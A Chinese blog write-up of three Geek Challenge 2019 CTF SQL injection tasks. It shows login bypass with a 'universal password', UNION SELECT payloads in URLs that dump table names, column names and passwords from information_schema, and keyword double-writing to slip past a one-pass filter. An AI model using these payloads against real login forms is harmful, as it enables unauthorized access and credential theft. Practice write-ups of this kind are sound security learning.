sql注入[极客大挑战]

y4ny4n

sql注入

[极客大挑战 2019]EasySQL

发现username和password都能注入,使用万能密码

image-20200806150937579

万能密码学习:https://blog.csdn.net/weixin_43952190/article/details/105696239

[极客大挑战 2019]LoveSQL

按照上一题的思路万能密码得到admin的密码(但是好像并没有什么用emm

image-20200806151229803

判断字段为3

?username=admin’ order by 4%23&password=1

注意:这里的注释#在输入框中输入时可以用#,而在地址栏时必须是%23

使用union查询发现2,3字段处显示数据

注意:注入时不能使用admin,2,3位置会显示admin的数据

答疑:为什么使用错误的username和password也会显示login success

代码可能是这样写的:只要能查出结果,就能成功登录

image-20200806152232415

(感谢我伟大的web队友)

得到数据库名geek

image-20200806152437389

?username=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

得到两张表’geekuser,l0ve1ysq1’

?username=1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’l0ve1ysq1’%23&password=1

得到表’10ve1ysq1’的字段id,username和password

?username=1’ union select 1,2,group_concat(password) from l0ve1ysq1%23&password=1

得到password,包含flag

[极客大挑战]BabySQL

先向前两个一样尝试了万能密码 没反应

然后尝试order by发现报错

image-20200810095309420

or被过滤

双写关键字绕过

有的waf只会对关键词过滤一次,这时候采用双写的方式可以绕过。

  selselectect from user; 过滤select后变成 select from user;

https://www.cnblogs.com/zllovellyo/p/12593352.html

尝试双写关键字绕过

?username=admin&password=1’ oorrder bbyy 5%23

得到字段数为3

查看当前数据库的表名

?username=admin&password=1’ ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() %23

image-20200810094723349

查看字段

?username=admin&password=1’ ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() aandnd table_name=’b4bsql’%23

image-20200810094732805

查看数据,本来以为会在别的数据库里,没想到直接在password里出来了哈哈哈

?username=admin&password=1’ ununionion seselectlect 1,2,group_concat(passwoorrd) frfromom b4bsql%23

得到flag

  • 本文标题:sql注入[极客大挑战]
  • 本文作者:y4ny4n
  • 创建时间:2020-08-05 13:31:29
  • 本文链接:https://y4ny4n.cn/2020/08/05/sql注入-极客大挑战/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!